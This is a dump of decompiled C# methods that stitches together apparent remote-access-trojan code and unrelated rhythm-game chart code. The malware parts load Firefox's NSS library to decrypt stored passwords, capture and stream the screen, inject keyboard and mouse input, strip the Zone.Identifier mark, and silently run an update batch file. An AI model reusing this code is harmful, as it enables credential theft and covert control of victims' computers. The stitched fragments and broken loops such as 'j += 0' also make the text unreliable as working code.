// Token: 0x06000465 RID: 1125 RVA: 0x00010770 File Offset: 0x0000E970 private static int PK11SDR_Decrypt(ref Firefox.TSECItem data, ref Firefox.TSECItem result, int cx) { IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11SDR_Decrypt"); Firefox.PK11SDR_DecryptPtr pk11SDR_DecryptPtr = (Firefox.PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11SDR_DecryptPtr)); return(pk11SDR_DecryptPtr(ref data, ref result, cx)); }
// Token: 0x06000463 RID: 1123 RVA: 0x000106F4 File Offset: 0x0000E8F4 private static long PK11_Authenticate(long slot, bool loadCerts, long wincx) { IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11_Authenticate"); Firefox.PK11_AuthenticatePtr pk11_AuthenticatePtr = (Firefox.PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11_AuthenticatePtr)); return(pk11_AuthenticatePtr(slot, loadCerts, wincx)); }
// Token: 0x06000464 RID: 1124 RVA: 0x00010730 File Offset: 0x0000E930 private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen) { IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "NSSBase64_DecodeBuffer"); Firefox.NSSBase64_DecodeBufferPtr nssbase64_DecodeBufferPtr = (Firefox.NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.NSSBase64_DecodeBufferPtr)); return(nssbase64_DecodeBufferPtr(arenaOpt, outItemOpt, inStr, inLen)); }
// Token: 0x06000462 RID: 1122 RVA: 0x000106B8 File Offset: 0x0000E8B8 private static long PK11_GetInternalKeySlot() { IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11_GetInternalKeySlot"); Firefox.PK11_GetInternalKeySlotPtr pk11_GetInternalKeySlotPtr = (Firefox.PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11_GetInternalKeySlotPtr)); return(pk11_GetInternalKeySlotPtr()); }
// Token: 0x06000208 RID: 520 RVA: 0x0000D7E0 File Offset: 0x0000B9E0 public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length) { if (length < 4U) { return(this._decodedBitmap); } int num = *(int *)((void *)codecBuffer); if (this._decodedBitmap == null) { byte[] array = new byte[num]; byte[] array2; byte * ptr; if ((array2 = array) != null && array2.Length != 0) { fixed(byte *ptr = &array2[0]) { } } else { ptr = null; } GClass26.memcpy(new IntPtr((void *)ptr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)num); ptr = null; this._decodedBitmap = (Bitmap)Image.FromStream(new MemoryStream(array)); return(this._decodedBitmap); } return(this._decodedBitmap); }
// Token: 0x06000047 RID: 71 RVA: 0x00005288 File Offset: 0x00003488 public static uint smethod_0() { GClass26.GStruct0 gstruct = default(GClass26.GStruct0); gstruct.uint_0 = (uint)Marshal.SizeOf(gstruct); gstruct.uint_1 = 0U; if (!GClass26.GetLastInputInfo(ref gstruct)) { return(0U); } return(gstruct.uint_1); }
// Token: 0x06000296 RID: 662 RVA: 0x0002C1FC File Offset: 0x0002A3FC public void method_40(CHPlayer gclass9_0, BasePlayer basePlayer_0, Song gclass27_0) { int i = 0; int num = gclass9_0.int_0 * this.int_9; GClass26 gclass = gclass27_0.method_59(gclass9_0.gclass10_0.genum18_0, gclass9_0.gclass10_0.genum17_0); this.int_8[gclass9_0.int_0] = basePlayer_0.int_6; this.int_6[gclass9_0.int_0] = basePlayer_0.int_3; this.int_7[gclass9_0.int_0] = gclass.method_50().Length; this.int_3[gclass9_0.int_0] = basePlayer_0.int_7; this.float_0[gclass9_0.int_0] = (float)(basePlayer_0.int_6 - basePlayer_0.int_9) / (float)gclass.method_21(); for (int j = 1; j < this.int_9; j += 0) { uint num2 = 0u; int num3 = 1; int num4 = 1; if (j < this.int_9 - 0) { num2 = this.gclass22_0[j + 1].uint_0; } while (i < basePlayer_0.noteRenderer.list_0.Count) { GClass6 gclass2 = basePlayer_0.noteRenderer.list_0[i]; if (num2 > 0u && gclass2.uint_0 >= num2) { break; } if (!gclass2.Boolean_1 || !gclass2.Boolean_2) { if (gclass2.bool_0) { num3++; } num4 += 0; } i++; } if (num4 == 0) { this.int_1[num] = -1; } else { this.int_1[num] = (int)((float)num3 / (float)num4 * 1854f); } this.int_4[gclass9_0.int_0] += num3; this.int_5[gclass9_0.int_0] += num4; num++; } this.int_2[gclass9_0.int_0] = (int)((float)this.int_4[gclass9_0.int_0] / (float)this.int_5[gclass9_0.int_0] * 1953f); }
// Token: 0x06000067 RID: 103 RVA: 0x000055E8 File Offset: 0x000037E8 public static Bitmap smethod_0(int screenNumber) { Rectangle rectangle = GClass10.smethod_1(screenNumber); Bitmap bitmap = new Bitmap(rectangle.Width, rectangle.Height, PixelFormat.Format32bppPArgb); using (Graphics graphics = Graphics.FromImage(bitmap)) { IntPtr hdc = graphics.GetHdc(); IntPtr intPtr = GClass26.CreateDC("DISPLAY", null, null, IntPtr.Zero); GClass26.BitBlt(hdc, 0, 0, rectangle.Width, rectangle.Height, intPtr, rectangle.X, rectangle.Y, 13369376); GClass26.DeleteDC(intPtr); graphics.ReleaseHdc(hdc); } return(bitmap); }
// Token: 0x060003DF RID: 991 RVA: 0x000307E0 File Offset: 0x0002E9E0 public List <GClass6> method_30(CHPlayer gclass9_0, bool bool_5) { GClass26 gclass = this.song.method_59(gclass9_0.gclass10_0.genum18_0, gclass9_0.gclass10_0.genum17_0); List <GClass6> list = Chart.smethod_47(this.song, gclass, gclass9_0.gclass10_0); if (bool_5) { int int_ = gclass.method_24(); this.starProgress.method_56(int_); } if (gclass9_0.gclass10_0.gclass5_2.method_30() && gclass9_0.gclass10_0.method_15()) { this.method_66(list); } return(list); }
// Token: 0x060003E8 RID: 1000 RVA: 0x00031054 File Offset: 0x0002F254 public List <GClass6> method_39(CHPlayer gclass9_0, bool bool_5) { GClass26 gclass = this.song.method_59(gclass9_0.gclass10_0.genum18_0, gclass9_0.gclass10_0.genum17_0); List <GClass6> notesFromStandardChart = Chart.GetNotesFromStandardChart(this.song, gclass, gclass9_0.gclass10_0); if (bool_5) { int int_ = gclass.method_24(); this.starProgress.method_71(int_); } if (gclass9_0.gclass10_0.gclass5_2.Boolean_1 && gclass9_0.gclass10_0.Boolean_1) { this.method_66(notesFromStandardChart); } return(notesFromStandardChart); }
// Token: 0x06000461 RID: 1121 RVA: 0x0001064C File Offset: 0x0000E84C private static IntPtr LoadWin32Library(string libPath) { if (string.IsNullOrEmpty(libPath)) { throw new ArgumentNullException("libPath"); } IntPtr intPtr = GClass26.LoadLibrary(libPath); if (intPtr == IntPtr.Zero) { int lastWin32Error = Marshal.GetLastWin32Error(); Win32Exception ex = new Win32Exception(lastWin32Error); ex.Data.Add("LastWin32Error", lastWin32Error); throw new Exception("can't load DLL " + libPath, ex); } return(intPtr); }
// Token: 0x0600045B RID: 1115 RVA: 0x0001037C File Offset: 0x0000E57C private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath) { if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major) { return; } GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll"); GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll"); GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll"); GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll"); GClass26.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll"); Firefox.nssModule = GClass26.LoadLibrary(firefoxPath.FullName + "\\nss3.dll"); IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "NSS_Init"); Firefox.NSS_InitPtr nss_InitPtr = (Firefox.NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.NSS_InitPtr)); nss_InitPtr(firefoxProfilePath.FullName); long slot = Firefox.PK11_GetInternalKeySlot(); Firefox.PK11_Authenticate(slot, true, 0L); }
// Token: 0x0600007A RID: 122 RVA: 0x000061D8 File Offset: 0x000043D8 public static void smethod_0(Client c, string newFilePath) { try { GClass4.smethod_2(newFilePath); byte[] array = File.ReadAllBytes(newFilePath); if (array[0] != 77 && array[1] != 90) { throw new Exception("no pe file"); } string text = GClass4.smethod_4(newFilePath, GClass35.bool_0 && GClass35.bool_2); if (string.IsNullOrEmpty(text)) { throw new Exception("Could not create update batch file."); } ProcessStartInfo startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = true, FileName = text }; Process.Start(startInfo); GClass0.Disconnect = true; if (GClass35.bool_0 && GClass35.bool_1) { GClass16.smethod_2(); } c.Disconnect(); } catch (Exception ex) { GClass26.DeleteFile(newFilePath); new SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c); } }
// Token: 0x06000207 RID: 519 RVA: 0x0000D01C File Offset: 0x0000B21C public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream) { lock (this._imageProcessLock) { byte *ptr = scan0.ToInt32(); if (!outStream.CanWrite) { throw new Exception("Must have access to Write in the Stream"); } int num = 0; int num2 = 0; int num3 = 0; if (format <= PixelFormat.Format32bppRgb) { if (format == PixelFormat.Format24bppRgb || format == PixelFormat.Format32bppRgb) { num3 = 3; goto IL_81; } } else if (format == PixelFormat.Format32bppPArgb || format == PixelFormat.Format32bppArgb) { num3 = 4; goto IL_81; } throw new NotSupportedException(format.ToString()); IL_81: num = imageSize.Width * num3; num2 = num * imageSize.Height; if (this._encodeBuffer == null) { this._encodedFormat = format; this._encodedWidth = imageSize.Width; this._encodedHeight = imageSize.Height; this._encodeBuffer = new byte[num2]; byte[] encodeBuffer; byte * ptr2; if ((encodeBuffer = this._encodeBuffer) != null && encodeBuffer.Length != 0) { fixed(byte *ptr2 = &encodeBuffer[0]) { } } else { ptr2 = null; } byte[] array = null; using (Bitmap bitmap = new Bitmap(imageSize.Width, imageSize.Height, num, format, scan0)) { array = this._jpgCompression.Compress(bitmap); } outStream.Write(BitConverter.GetBytes(array.Length), 0, 4); outStream.Write(array, 0, array.Length); GClass26.memcpy(new IntPtr((void *)ptr2), scan0, (uint)num2); ptr2 = null; } else { if (this._encodedFormat != format) { throw new Exception("PixelFormat is not equal to previous Bitmap"); } if (this._encodedWidth == imageSize.Width) { if (this._encodedHeight == imageSize.Height) { long position = outStream.Position; outStream.Write(new byte[4], 0, 4); long num4 = 0L; List <Rectangle> list = new List <Rectangle>(); Size size = new Size(scanArea.Width, this.CheckBlock.Height); Size size2 = new Size(scanArea.Width % this.CheckBlock.Width, scanArea.Height % this.CheckBlock.Height); int num5 = scanArea.Height - size2.Height; int num6 = scanArea.Width - size2.Width; Rectangle rectangle = default(Rectangle); List <Rectangle> list2 = new List <Rectangle>(); size = new Size(scanArea.Width, size.Height); byte[] encodeBuffer2; byte * ptr3; if ((encodeBuffer2 = this._encodeBuffer) != null && encodeBuffer2.Length != 0) { fixed(byte *ptr3 = &encodeBuffer2[0]) { } } else { ptr3 = null; } for (int num7 = scanArea.Y; num7 != scanArea.Height; num7 += size.Height) { if (num7 == num5) { size = new Size(scanArea.Width, size2.Height); } rectangle = new Rectangle(scanArea.X, num7, scanArea.Width, size.Height); int num8 = num7 * num + scanArea.X * num3; if (GClass26.memcmp(ptr3 + num8, ptr + num8, (uint)num) != 0) { int index = list.Count - 1; if (list.Count != 0 && list[index].Y + list[index].Height == rectangle.Y) { rectangle = new Rectangle(list[index].X, list[index].Y, list[index].Width, list[index].Height + rectangle.Height); list[index] = rectangle; } else { list.Add(rectangle); } } } for (int i = 0; i < list.Count; i++) { size = new Size(this.CheckBlock.Width, list[i].Height); for (int num9 = scanArea.X; num9 != scanArea.Width; num9 += size.Width) { if (num9 == num6) { size = new Size(size2.Width, list[i].Height); } rectangle = new Rectangle(num9, list[i].Y, size.Width, list[i].Height); bool flag2 = false; uint count = (uint)(num3 * rectangle.Width); for (int j = 0; j < rectangle.Height; j++) { int num10 = num * (rectangle.Y + j) + num3 * rectangle.X; if (GClass26.memcmp(ptr3 + num10, ptr + num10, count) != 0) { flag2 = true; } GClass26.memcpy_1((void *)((byte *)ptr3 + num10), (void *)(ptr + num10), count); } if (flag2) { int index = list2.Count - 1; if (list2.Count > 0 && list2[index].X + list2[index].Width == rectangle.X) { Rectangle rectangle2 = list2[index]; int width = rectangle.Width + rectangle2.Width; rectangle = new Rectangle(rectangle2.X, rectangle2.Y, width, rectangle2.Height); list2[index] = rectangle; } else { list2.Add(rectangle); } } } } ptr3 = null; for (int k = 0; k < list2.Count; k++) { Rectangle rectangle3 = list2[k]; int num11 = num3 * rectangle3.Width; Bitmap bitmap2 = null; BitmapData bitmapData = null; long num14; try { bitmap2 = new Bitmap(rectangle3.Width, rectangle3.Height, format); bitmapData = bitmap2.LockBits(new Rectangle(0, 0, bitmap2.Width, bitmap2.Height), ImageLockMode.ReadWrite, bitmap2.PixelFormat); int l = 0; int num12 = 0; while (l < rectangle3.Height) { int num13 = num * (rectangle3.Y + l) + num3 * rectangle3.X; GClass26.memcpy_1((void *)((byte *)bitmapData.Scan0.ToPointer() + num12), (void *)(ptr + num13), (uint)num11); num12 += num11; l++; } outStream.Write(BitConverter.GetBytes(rectangle3.X), 0, 4); outStream.Write(BitConverter.GetBytes(rectangle3.Y), 0, 4); outStream.Write(BitConverter.GetBytes(rectangle3.Width), 0, 4); outStream.Write(BitConverter.GetBytes(rectangle3.Height), 0, 4); outStream.Write(new byte[4], 0, 4); num14 = outStream.Length; long position2 = outStream.Position; this._jpgCompression.Compress(bitmap2, ref outStream); num14 = outStream.Position - num14; outStream.Position = position2 - 4L; outStream.Write(BitConverter.GetBytes(num14), 0, 4); outStream.Position += num14; } finally { bitmap2.UnlockBits(bitmapData); bitmap2.Dispose(); } num4 += num14 + 20L; } outStream.Position = position; outStream.Write(BitConverter.GetBytes(num4), 0, 4); return; } } throw new Exception("Bitmap width/height are not equal to previous bitmap"); } } }
// Token: 0x0600004C RID: 76 RVA: 0x0000235F File Offset: 0x0000055F public static void smethod_5(byte key, bool keyDown) { GClass26.keybd_event(key, 0, keyDown ? 0U : 2U, 0); }
// Token: 0x0600004B RID: 75 RVA: 0x0000233B File Offset: 0x0000053B public static void smethod_4(Point p, bool scrollDown) { GClass26.mouse_event(2048U, p.X, p.Y, scrollDown ? -120 : 120, 0); }
// Token: 0x0600004A RID: 74 RVA: 0x00002325 File Offset: 0x00000525 public static void smethod_3(Point p) { GClass26.SetCursorPos(p.X, p.Y); }
// Token: 0x06000049 RID: 73 RVA: 0x00002306 File Offset: 0x00000506 public static void smethod_2(Point p, bool isMouseDown) { GClass26.mouse_event(isMouseDown ? 8U : 16U, p.X, p.Y, 0, 0); }
// Token: 0x0600003A RID: 58 RVA: 0x0000224F File Offset: 0x0000044F public static bool smethod_2(string filePath) { return(GClass26.DeleteFile(filePath + ":Zone.Identifier")); }
// Token: 0x06002A65 RID: 10853 RVA: 0x00138278 File Offset: 0x00136478 private static void smethod_7(EventsCollection eventsCollection_0, Song gclass27_0, Song.Instrument genum18_0) { List <NoteOnEvent> list = new List <NoteOnEvent>(500); List <SysExEvent> list2 = new List <SysExEvent>(500); List <int> list3 = new List <int>(10); int num = (int)(64f * gclass27_0.float_3 / GClass15.float_0); bool flag = false; if (!GClass30.bool_0 && SongEntry.currentSongMultiplierNote == 0) { int num2 = 0; for (int i = 0; i < eventsCollection_0.Count; i++) { NoteOnEvent noteOnEvent = eventsCollection_0[i] as NoteOnEvent; if (noteOnEvent != null && noteOnEvent.OffEvent != null) { if (noteOnEvent.NoteNumber == 103) { num2++; } else if (noteOnEvent.NoteNumber == 116) { num2 = 0; IL_A6: if (num2 >= 2) { flag = true; goto IL_AE; } goto IL_AE; } } } goto IL_A6; } IL_AE: int j = 0; while (j < eventsCollection_0.Count) { NoteOnEvent noteOnEvent2 = eventsCollection_0[j] as NoteOnEvent; if (noteOnEvent2 == null || noteOnEvent2.OffEvent == null) { goto IL_4E6; } uint num3 = (uint)noteOnEvent2.AbsoluteTime; uint num4 = (uint)(noteOnEvent2.OffEvent.AbsoluteTime - (long)((ulong)num3)); if (!GClass30.bool_0) { if (noteOnEvent2.NoteNumber != 116) { if (!flag || noteOnEvent2.NoteNumber != 103) { if (noteOnEvent2.NoteNumber == 103) { using (IEnumerator enumerator = Enum.GetValues(typeof(Song.GEnum17)).GetEnumerator()) { while (enumerator.MoveNext()) { object obj = enumerator.Current; Song.GEnum17 genum17_ = (Song.GEnum17)obj; gclass27_0.method_59(genum18_0, genum17_).list_1.Add(new GClass8(gclass27_0.method_52((uint)noteOnEvent2.AbsoluteTime), gclass27_0.method_2((uint)noteOnEvent2.AbsoluteTime, (uint)noteOnEvent2.OffEvent.AbsoluteTime), (uint)noteOnEvent2.AbsoluteTime, (uint)noteOnEvent2.OffEvent.AbsoluteTime)); } goto IL_564; } } byte b = noteOnEvent2.NoteNumber; if (b <= 78) { if (b - 65 > 1 && b - 77 > 1) { goto IL_28F; } } else if (b - 89 > 1 && b - 101 > 1) { goto IL_28F; } list.Add(noteOnEvent2); goto IL_564; } } using (IEnumerator enumerator = Enum.GetValues(typeof(Song.GEnum17)).GetEnumerator()) { while (enumerator.MoveNext()) { object obj2 = enumerator.Current; Song.GEnum17 genum17_2 = (Song.GEnum17)obj2; gclass27_0.method_59(genum18_0, genum17_2).method_12(new GClass20(num3, num4), false); } goto IL_564; } } IL_28F: GClass19.GEnum13 genum13_ = GClass19.GEnum13.GREEN; if ((ulong)num4 <= (ulong)((long)num)) { num4 = 0u; } if (genum18_0 == Song.Instrument.GHLGuitar) { goto IL_399; } if (genum18_0 == Song.Instrument.GHLBass) { goto IL_399; } switch (noteOnEvent2.NoteNumber) { case 60: case 72: case 84: case 96: genum13_ = GClass19.GEnum13.GREEN; break; case 61: case 73: case 85: case 97: genum13_ = GClass19.GEnum13.RED; break; case 62: case 74: case 86: case 98: genum13_ = GClass19.GEnum13.YELLOW; break; case 63: case 75: case 87: case 99: genum13_ = GClass19.GEnum13.BLUE; break; case 64: case 76: case 88: case 100: genum13_ = GClass19.GEnum13.ORANGE; break; case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 89: case 90: case 91: case 92: case 93: case 94: case 95: case 101: goto IL_564; default: goto IL_564; } IL_483: Song.GEnum17 genum; try { genum = GClass30.smethod_8((int)noteOnEvent2.NoteNumber); if (GClass30.bool_0 && list3.Contains((int)genum)) { goto IL_564; } } catch { goto IL_564; } gclass27_0.method_59(genum18_0, genum).method_12(new GClass19(num3, genum13_, num4, GClass19.GEnum15.NONE), GClass30.bool_0); if (GClass30.bool_0) { list3.Add((int)genum); goto IL_564; } goto IL_4E6; IL_399: switch (noteOnEvent2.NoteNumber) { case 58: case 70: case 82: case 94: genum13_ = GClass19.GEnum13.OPEN; goto IL_483; case 59: case 71: case 83: case 95: genum13_ = GClass19.GEnum13.W1; goto IL_483; case 60: case 72: case 84: case 96: genum13_ = GClass19.GEnum13.W2; goto IL_483; case 61: case 73: case 85: case 97: genum13_ = GClass19.GEnum13.W3; goto IL_483; case 62: case 74: case 86: case 98: genum13_ = GClass19.GEnum13.B1; goto IL_483; case 63: case 75: case 87: case 99: genum13_ = GClass19.GEnum13.B2; goto IL_483; case 64: case 76: case 88: case 100: genum13_ = GClass19.GEnum13.B3; goto IL_483; case 65: case 66: case 67: case 68: case 69: case 77: case 78: case 79: case 80: case 81: case 89: case 90: case 91: case 92: case 93: goto IL_483; default: goto IL_483; } IL_564: j++; continue; IL_4E6: if (GClass30.bool_0) { goto IL_564; } TextEvent textEvent = eventsCollection_0[j] as TextEvent; if (textEvent != null && textEvent.Text != null) { uint uint_ = (uint)textEvent.AbsoluteTime; string string_ = textEvent.Text.Trim(new char[] { '[', ']' }); gclass27_0.method_59(genum18_0, Song.GEnum17.Expert).method_12(new ChartEvent(uint_, string_), true); } SysExEvent sysExEvent = eventsCollection_0[j] as SysExEvent; if (sysExEvent != null) { list2.Add(sysExEvent); goto IL_564; } goto IL_564; } foreach (object obj3 in Enum.GetValues(typeof(Song.GEnum17))) { Song.GEnum17 genum17_3 = (Song.GEnum17)obj3; gclass27_0.method_59(genum18_0, genum17_3).method_18(); } if (!GClass30.bool_0) { Array values = Enum.GetValues(typeof(Song.GEnum17)); GClass26[] array = new GClass26[values.Length]; int num5 = 0; foreach (object obj4 in values) { Song.GEnum17 genum17_4 = (Song.GEnum17)obj4; array[num5++] = gclass27_0.method_59(genum18_0, genum17_4); } for (int k = 0; k < list2.Count; k++) { SysExEvent sysExEvent2 = list2[k]; byte[] data = sysExEvent2.Data; if (data.Length == 8 && data[4] == 255 && data[6] == 1) { uint num6 = (uint)sysExEvent2.AbsoluteTime; uint num7 = 0u; for (int l = k; l < list2.Count; l++) { SysExEvent sysExEvent3 = list2[l]; byte[] data2 = sysExEvent3.Data; if (data2.Length == 8 && data2[4] == 255 && data2[6] == 0) { num7 = (uint)(sysExEvent3.AbsoluteTime - (long)((ulong)num6)); IL_6D3: foreach (GClass26 gclass in array) { int num8; int num9; GClass16.smethod_18 <GClass19>(gclass.GClass19_0, num6, num6 + num7, out num8, out num9); for (int n = num8; n < num8 + num9; n++) { gclass.GClass19_0[n].method_18(GClass19.GEnum14.Tap); } } goto IL_83C; } } goto IL_6D3; } if (data.Length == 8 && data[4] >= 0 && data[4] < 4 && data[6] == 1) { uint num10 = (uint)sysExEvent2.AbsoluteTime; Song.GEnum17 genum17_5; switch (data[4]) { case 0: genum17_5 = Song.GEnum17.Easy; break; case 1: genum17_5 = Song.GEnum17.Medium; break; case 2: genum17_5 = Song.GEnum17.Hard; break; case 3: genum17_5 = Song.GEnum17.Expert; break; default: goto IL_83C; } uint num11 = 0u; for (int num12 = k; num12 < list2.Count; num12++) { SysExEvent sysExEvent4 = list2[num12]; if (sysExEvent4 != null) { byte[] data3 = sysExEvent4.Data; if (data3.Length == 8 && data3[4] == data[4] && data3[6] == 0) { num11 = (uint)(sysExEvent4.AbsoluteTime - (long)((ulong)num10)); if (num11 > 0u) { num11 -= 1u; } IL_7FA: GClass19[] gclass19_ = gclass27_0.method_59(genum18_0, genum17_5).GClass19_0; int num13; int num14; GClass16.smethod_18 <GClass19>(gclass19_, num10, num10 + num11, out num13, out num14); for (int num15 = num13; num15 < num13 + num14; num15++) { gclass19_[num15].genum13_0 = GClass19.GEnum13.OPEN; } goto IL_83C; } } } goto IL_7FA; } IL_83C :; } int num16 = 0; while (num16 < list.Count) { uint num17 = (uint)list[num16].AbsoluteTime; uint num18 = (uint)list[num16].OffEvent.AbsoluteTime; if (num18 - num17 != 0u) { num18 -= 1u; } Song.GEnum17 genum17_6; try { genum17_6 = GClass30.smethod_8((int)list[num16].NoteNumber); } catch { goto IL_927; } goto IL_8A8; IL_927: num16++; continue; IL_8A8: GClass26 gclass2 = gclass27_0.method_59(genum18_0, genum17_6); int num19; int num20; GClass16.smethod_18 <GClass19>(gclass2.GClass19_0, num17, num18, out num19, out num20); for (int num21 = num19; num21 < num19 + num20; num21++) { if ((gclass2.GClass19_0[num21].genum15_0 & GClass19.GEnum15.TAP) == GClass19.GEnum15.NONE) { if (list[num16].NoteNumber % 2 != 0) { gclass2.GClass19_0[num21].method_18(GClass19.GEnum14.Hopo); } else { gclass2.GClass19_0[num21].method_18(GClass19.GEnum14.Strum); } } } goto IL_927; } } }